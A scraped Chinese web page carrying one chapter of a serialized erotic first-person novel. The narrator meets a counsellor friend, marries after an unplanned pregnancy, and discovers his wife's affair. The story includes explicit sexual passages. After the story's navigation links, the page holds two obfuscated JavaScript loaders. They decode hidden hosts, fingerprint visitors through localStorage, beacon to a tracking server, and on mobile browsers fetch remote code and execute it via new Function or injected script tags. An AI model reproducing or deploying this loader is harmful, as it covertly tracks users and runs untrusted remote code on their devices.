图片载入中

十年如一梦,我和我的女人们04

特大字】 【大字】 【中字】 【小字

(四):人生转折

07年底,我照旧收到了陈波组织同学聚会的短信,陈波是我在高中比较要好的同学之一,只不过工作以后就较少联系了,特别是近几年我在外省工作,基本上就没怎么见过

当我回复参加之后,陈波显得很惊讶,回了一条短信,“难得啊,今年参加的人是近几年最多的了,一定要来。”

实际上,全世界的同学聚会都一样,大部分时间都会显得有些无趣,成功的同学们之间互相隐晦地炫耀一番,仍在努力的同学们寻找着是否有可用的资源见曼之前心里有一点点紧张,但看见她从门口走进来的时候,心里一下子就重归平静。淡定的打招唿,礼节性的问近况,没有狗血剧情中的旧情复炽或老同学勾搭成奸

很快她就被同学们围在中间,曼从来都是班上的焦点人物,她的性格就是这样,无论走到哪里都渴望能成为焦点。不知道她是不是像小市民说的一样,也是因为后天的自卑呢?

我看着曼和一帮做生意的同学,在聊着是否能有生意上的合作,陈波在我耳边问,“怎么样,有没有感慨万千?”

我看了他一眼,“有啊,没想到班里最有才的帅哥,才过30就发福了。”

“切,别错开话题。等会去KTV,勾搭一下,说不定你们能重温旧情。”

“我现在只喜欢嫩妹子。倒是你,小梅离婚了,你说不定有机会。”

他嘿嘿笑了一声,就没有说话了

饭局结束,我推脱家里还有事,没有去参加KTV。临走的时候,曼在门口找到了我

“怎么这么早的走了?这么久没见了,等会再聊聊吧。”

经过这几年,她的气质有了很大的不同,也许这才叫成功人士吧。当然有一个成功的老公帮忙,是可能比其他人的成功要稍微轻松一点

“不了,家里还有事,我妈在家里等我。”

“跟爸妈一起住?还没结婚啊?有女朋友没有?”

我不想说太多,笑了笑,“有,只不过暂时没结婚的打算,过几年再说吧。”

“嗯,有空常联系。”她也看出我不想说太多

在回家的路上,我在想,有时候心结只是看你想不想去解开,当你真的去面对的时候,你会发现其实就像歌词里说的,往事已逝去如风

不过我和陈波又恢复了联系,他一直说我是同学中唯一一个没有结婚的男人了,一定帮我介绍一个

后来和小市民聊起同学聚会的事情,她说,“你心里肯定还是有些放不下的,不过你这个人本来不容易对女性产生太浓的感情,你放不下,只是因为你错过了而已,就像是佳佳。”

“你的意思是说我人贱,失去的才会觉得珍贵?初恋可不是我错过的,是她移情别恋好吧。”我不由得撇了一下嘴

“大多数人都会是这样。就算不是你错过了,也会有你的原因。你可能因为一些童年的事情,导致你对男女感情不太信任。”

我回想了一番,“我还真不觉得有什么严重的事情发生过。”

“如果是很小的时候发生,你可能记不得太具体,只有一两个片断。但在你的潜意识里会有很大的影响。”

“也许吧。对了,我已经到深圳工作了。”我觉得还是转换一个轻松点的话题好点

“是出差?还是跳槽来了?”她发了一个吃惊的表情

“跳槽,已经来了差不多半年了。”说完我又觉得既然来了深圳,又不约她见面会不会不太合适,又补充了一句,“工作刚上手,很忙,所以还没时间找你呢。”

“算了吧,别解释了,你只是怕和我见了会比较无趣而已。”

“怎么会呢?我们聊天不是聊得很好吗?”

“很多人都说我闲聊的时候也像在工作。”

我突然很想见一见她,“要不,我们见一下吧,都认识这么久了。这样吧,明天晚上去吃火锅,中信城市广场那有一家火锅环境和味道都不错的。”要约女孩子见面,就不能给她拒绝的机会

小市民沉默了一段时间,回了一句,“好吧,不过,我9点要上晚班。”

我笑了,“我7点前能到那,一个多小时,足够了。”

“应该能比你早,你到了就打我手机吧。”

我们双方互留了手机号码,约好了打招唿的方式

在我的印象中,小市民应该是属于那种30左右的知性女性(我还真没问过她多大了),样子可能不太漂亮但一定很有气质的。所以,她发短信告诉我她已经到了之后,我一进火锅店,就开始四处打量一个人坐的女性,发现有一位女士长得比较符合我的想像,正准备走过去的时候手机响了。不是那位,她没有在打电话

“你在哪呢?”我四周寻找正在打电话的人

“转过头,我已经看到你了。”

我转过头,看到一位长发的女孩子向我招了招手。我挂了电话向她走过去,走到桌前,她居然站起来向我伸出了手,“你好!”我愣了一下,轻轻地握了一下她的手,她的手有些凉,但软软的,触感很好,笑着说,“你好!我们这是商务会谈吗?”

她拔了拔脸颊旁的头发,坐了下来,“可能是工作习惯吧。”

“你没带本子和笔来做记录就行。”我笑着说

小市民的形象的确不符合我心目中的设定,脸蛋圆圆的,属于娃娃脸的类型,看上去像还在读高中的秀丽小女生。但最让我感到意外的是她的身材,应该接近160的身高,长得不胖,胸前却特别伟大,据我多年的经验就算没有D杯至少也是C了,在亚洲女性来说真是少见了。如果把她那副老土的黑框眼镜摘掉的话,只有一个词能贴切地形容,童颜巨乳!

她扶了扶那副黑框眼镜,盯着我的眼睛不说话

我被她看得有点不自然,坐了下来,“怎么?我的形象很糟糕吗?我来之前特地在洗手间照了照镜子,还好啊。”

“看到我的样子,是不是有点意外?”

“和想像中是有点差别,第一眼看以为你是没毕业的大学生。”我摸了摸鼻子,总不能说意外的是你的胸这么伟大吧

“我已经毕业两年了。”她顿了顿,又说,“你刚才盯着我的胸部看了两秒钟。”

好吧,就算在QQ聊天里面已经适应了她说话直接,但面对面的时候还是觉得不习惯

“面对一个有特色的女孩子,难免会被她的特色吸引住目光,但我的思想是纯洁的。”

的确我刚才没有意淫什么,或者说还没来得及吧。不过,面对说话直接的女孩,最好的方法就是你也尽量坦诚一些

“嗯,我知道,否则我刚才拿起包就走了。”她把菜单递给了我,“你来这吃过,你来点吧。”

我有些无语了,低下头看功能表,招唿服务员过来点菜

其实吃饭的过程还错愉快,只不过她还真是有点不拘言笑,我说了好几个自认为不错的笑话,她也就是抿了抿嘴。不过我也习惯了,和她聊天更多的时候就像她是医生,我是患者一样,我说一些事情,她来做一番分析

“你究竟谈过恋爱没有?”我心里有点好奇,这样性格的女孩子,从谈恋爱的角度来说真不是一个好物件

“谈过一次。”

她又扶了扶眼镜,我注意到她的眼镜其实是平光的,也许她戴眼镜只是单纯想让自己看起来成熟一点

“庸医啊,你自己就那么一点经验,还失败了,怎么帮别人分析情感问题啊?”

“来咨询的不完全都是情感问题,我们更多的是凭过往的案例来总结经验和进行判断,个人经验是不靠谱的。”

“那你现在见到我了,来判断一下我是怎么样的人。”

“花心大萝卜一个。”

“能不能给点好一些的评价。”虽然我不做准备和她有戏,只不过听到这样的评价还是有点伤心

“但有些女孩子就喜欢你这种。”

“男人不坏,女人不爱?”

“是的,她们觉得自己就是那个能让你迷途知返的人,但往往就是引火焚身你现在有没有新的物件?“难得她向我提了个问题

“有啊,同学向我介绍了一个。”

“开始上床没?”

她的声音有点大,邻桌的一个女孩子向我们看了过来,我向她笑了笑,人家立即转过头去了

“还没有,才认识一个月,在我家那边,一个星期见一次,哪有那么快?哎,我还不知道你叫什么名字呢,总不叫你小市民吧。”我连忙错开话题

“我叫*佳丽,叫我佳丽,或者小丽都可以。”我听了她的名字,不禁挑了桃眉。她又说,“是不是觉得名字很俗?”

“不,这名字起得好,人如其名,的确是一名绝世佳丽。”

“我的哥哥名字叫英雄。”

我笑得拍了拍桌子,“伯父对你们兄妹寄望颇高啊!”

“嗯,我哥做了员警。”她说得很严肃。我也止住了笑,好吧,看来她的确不太会聊天

“你这么不会聊天,做心理咨询合适吗?”

“在聊天中如何了解对方的问题,我们有固定的分析流程,而且跟你聊天与跟咨询物件聊天完全不是一回事。再说有很多知名的心理专家,在社交上也不擅长。”

我舒了一口气,“看来你没把我当患者。”

“嗯,你已经无药可医了,所以不是我的咨询对象。”

吃完饭,我就开车送了她回公司。往后,我们隔一段时间就会出来见个面吃个饭,虽然还是会在QQ上聊天,不过已经不再纯粹是网友了,她可以说是我唯一一个能成为朋友的女网友了

陈波热心地给我介绍了一个女孩子,她叫小英,26岁,长得很好看,身材娇小,皮肤不像南方女性那样黑黑的,关键是性格很开朗主动,很爱笑,我发现我对于爱笑的女孩子没有什么抵抗力,我和她正常交往了几个月

那时,我在父母家附近买了间房子,装修好之后她说想上去看看,结果当晚我们就滚在了新床上,她是这么多年第一个在我住的地方和我上床的女孩子小英的样子继承了她的母亲,典型的江苏美女,但性格却像传统的广东女性一样,温顺贤良,周末我回家的时候,总是会找个时间来做饭给我吃,帮我收拾一下屋子

习惯了一个人住的孤寂,周末多了一个人在家忙里忙外的,倒增添了一份温馨。我妈有一次过来,刚好遇到了她,从此就盯上了我和她的事,一直问我什么时候和她结婚,我也在考虑是不是应该定下来了

08年国庆的时候,和小英一起去三亚玩了三天,出了点意外,带了9个套套,本想着一天3个应该是够用了,结果没想到人在放松的环境下欲望和精力也特别旺盛,两天就用完了。最后一个晚上准备提鞍上马的时候才发现套套用完了,想着她虽然不是绝对的安全期,但也应该还没有到排卵期,加上这两天不停的做,小蝌蚪应该差不多也用完了吧,所以没用套套内射了。结果月底的时候,她的月经没来,我就知道应该中招了

那天,我在深圳刚起床,就收到了一条小英发来的短信,只有四个字,“我怀孕了”

虽然有心理准备,但真成事实的时候心里还是有点懵,呆了一会儿,我回了个电话,和小英说,“没事,我会负责任的。”听得出来她很高兴,只不过她在家里怕父母听见,也不敢多说

我给佳丽发了条消息,“我要结婚了。”

过了很久她也没回,可能是她昨晚上夜班了吧。直到下午,她才回了一条消息,“是现在的女友吗?”

“是的,她怀孕了。”

“知道要负责任就好。”

“可能是命运的安排。你之前不也说过,我需要好好谈一场恋爱,找个合适的女人安定下来吗?”

“既然决定了,就好好对她,不要勾三搭四了。”

我发了个晕的表情,“我安份了好久了,好吧!”当然,我经常去桑拿和KTV的事情没有和她说过。不过,看样子这些地方以后能不去也不去了

“嗯,我们以后也少联系吧,以免她有误会。”

“什么啊?我们是朋友,身正不怕影子斜。除非你对我有其它想法。”

难得有个真正的异性朋友,我可不想轻易失去,和她在一起我也小心翼翼地从不踏过底线

过了一会,她才回我,“好吧!”

周末回到家里,我把事先买好的戒指套在一支玫瑰花上,向小英求了婚。她非常高兴,只是我查过怀孕初期最好不要做爱,所以我们也就只能抱抱亲亲,她帮我用口解决一下

周六我就带着小英到父母家和他们说了这件事,父母得知小英怀孕,嘴里责怪我这么大了也不懂事,但却非常高兴

说起我们家,我老爸在家族里属于大房正室一脉,偏偏到了我们这一代以及下一代,生的全部是女孩,包括我哥也生的是个女孩,家里就把大房的血脉传承寄托在我身上了。一边约小英的家长见面张罗婚事,一边张罗着要我爸动用人脉把小英调到一家国有银行里,工作稳定的同时也方便养胎待产

原来我打算让小英辞职去深圳和我一起住,但父母坚决不同意,说孕妇正是需要人照顾,我平常上班忙,哪有时间。后来见了小英的父母,他们也是这样的意见,我就没有坚持了

08年底,小英正式成为了我的妻子,我也告别了以往的生活方式,安安份份地做一个好丈夫以及一个好爸爸

09年7月,我的孩子出生了,如我爸所愿,是一个男孩。当我看到护士手中那个皱巴巴的小婴儿时,我突然觉得我真正地成为了一个男人,伴随着由衷的喜悦,一份重重的担子压在了我的肩上

之后我的工作却更忙碌了起来,公司准备上市,各种上市前的准备工作和业绩的压力让我陷入了无止尽的会海和加班中

尽管我已经尽力安排好工作时间,甚至周三晚上我会开车从深圳回家,第二天再开车回深圳上班,但一周下来一家人还是聚少离多,老婆免不了有些抱怨我又重提了让老婆辞职去深圳的想法,可是双方父母都极力反对,也只好做罢

但在11年,我却发现老婆有些不妥了,一开始是偶尔会说有加班,后来有时候竟然周五晚上也说要加班,很晚才回到家。虽然在家里她没表现出什么异常,对我和小孩都依然是照顾周到。但我知道一定是发生了什么事情

某个晚上,我用她的手机查了通话记录,发现她和一个叫军的男人通话记录特别多,甚至有时在平时下班回到家睡前几分钟还会打了个电话,但到她说加班的晚上反而就一个电话都没有了。我就明白十有八九被绿了,只是不知道他们进展到了什么地步

于是有一天周五她又说单位有安排,于是我就没有去父母家接小孩,让小孩在父母家睡,然后在社区门口一直等着

等到差不多十点半,一辆普拉多停在了社区对面的马路,老婆坐在车里,一个男的在开车,我亲眼看到老婆在下车前亲了那个男的一下。但不知道为什么我竟然非常平静,没有想像中的怒火中烧,我没继续看下去,转身回了家

老婆进门的时候,我坐在沙发上

她问我,“儿子睡了吗?”她的神情很正常

我看着她在门口换鞋,开口说,“你下车的时候,我就在对面马路看着。”

她的身子明显地震了一下,手里拿着的包都掉到了地上

“就是一个同事,晚了就开车送我回来。”她还在故作镇静

“我都看见了,你就这样和我解释吗?”

老婆走到旁边的沙发,坐了下来,一言不发。看着她的样子,我的怒气渐渐累积起来,我极力地控制自己的情绪,“你没想过这样做的后果吗?我的确是陪你的时间不多,可我一旦有时间就立即回来,每个星期中间都还开两个小时车回家一次,不就是怕你一个人在家无聊,在家带孩子辛苦吗?你居然做出这样的事情来?”

老婆反驳着我,“你是有抽时间回家,可是我要的不是你隔几天回来一次和你说要你辞职回家这边工作,你就是不愿意。你真的想过我有多辛苦吗?“

我听了更加生气了,“我还在深圳工作是为了什么?不还是为了这个家能有好的生活吗?公司马上就上市了,再说我和公司签了协议,上市三年之内不能离职,我现在辞职岂不是前功尽弃吗?”

“钱要那么多有什么用?我要的是有人关心我!”她的声音也越来越大了,还带着哭音

“贫贱夫妻百事哀,你是没过过苦日子。你说吧,你究竟想怎么样,你是准备要离婚吗?”我无力地靠在沙发上

老婆没有说话,起身冲进了睡房里,在里面放声地哭起来

我呆坐了一会,起身走到睡房门口,她还趴在床上痛哭。“你明天早上去爸妈家把儿子接回来,我去找陈波吃个夜宵,今晚不回来了。你在家好好想想。”

说完,就出了家门,她也没有阻拦我

和陈波吃宵夜的时候,我当然没提这个事情,虽然他也奇怪我怎么会周五晚上找他出来,但他是聪明人,也没有问什么,只是陪我吃东西喝酒

喝完酒,我就随便在家附近找了间酒店睡下了,睡着之前,我突然想起和佳佳的往事,这世事真是有轮回的,现在又报应到我头上了

第二天回到家,老婆已经把儿子接回了家,她的双眼有些浮肿,看来她哭了很长时间。在儿子面前,我们尽力维持着常态,还是像往常一样陪着他玩,陪着他去公园,只是剩下两个人独处的时候,都是沉默以对

晚上,老婆到儿子的房间去陪他睡,他当然是很高兴,我也觉得松了口气,我不知道现在的情况我和她躺在一张床上,我能怎么样面对

等我周一早上回深圳,她还是没有和我说什么,只是默默地帮我准备好早餐,不知道她有什么打算。我也心力疲惫,暂时不想和她说什么

回到深圳,我犹豫了很久,还是把这件事和佳丽说了,她问我准备怎么办?

“我不知道,孩子这么小,离婚了他怎么办?”

“我知道你很爱你儿子,但你只考虑儿子吗?你要想想,你和她还有没有感情?”

“都在一起三四年了,怎么会没有感情?只是很难接受,虽然我也做过同样的事情。”我不由得叹了口气

“你还是找她好好谈谈吧,错一次不等于要惩罚一辈子,如果你们还有感情,就原谅她一次。”

“我试试看吧。”

佳丽可能是感觉到我情绪低落,连续几个晚上都陪我聊到很晚,只是我们两个都没有提出要见面的意思。在这种时候,我觉得还是独处好一些,要不很容易做错事情

又到周末,在我开车回家的路上,老婆发来一条短信,说她已经申请了调动,和那个男的已经断了

回到家里,一切如常,仿佛上周的事情根本没有发生过。只是睡觉的时候,当老婆靠到我身边,我却没有了亲热的冲动,只是伸手抱着她。她也明白是什么原因,没有说话,趴在我怀里轻轻地抽泣

往后家里恢复到了正常的生活,但我总觉得心里少了些什么,如果不是因为想着儿子,有时候我甚至不想回家。和老婆偶尔也会做爱,但过程中总是会神游,想起一些其它事情,兴致也特别低,导致我一度以为我的性功能出现了什么障碍老婆也没有说什么,一门心思都扑在了孩子身上。我想传说中相敬如宾的夫妻生活大概就是这样吧

************

08到11年,是我人生的重要转折,家庭中我成为了丈夫,成为了父亲,也戴上了绿帽

工作中,公司上市了,分到了很多股票。真所谓人生有得必有失,你在一方面收获了这么多,另一方面必然要失去一些。只是不知道是不是得不偿失而已然而佳丽却成为了我人生中时间跨度最长的异性朋友,当然最终她还是离我而去了

【未完待续】


上一篇:马克江湖日本篇(剑奇侠传)(1-21)

下一篇:出包正传(20)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};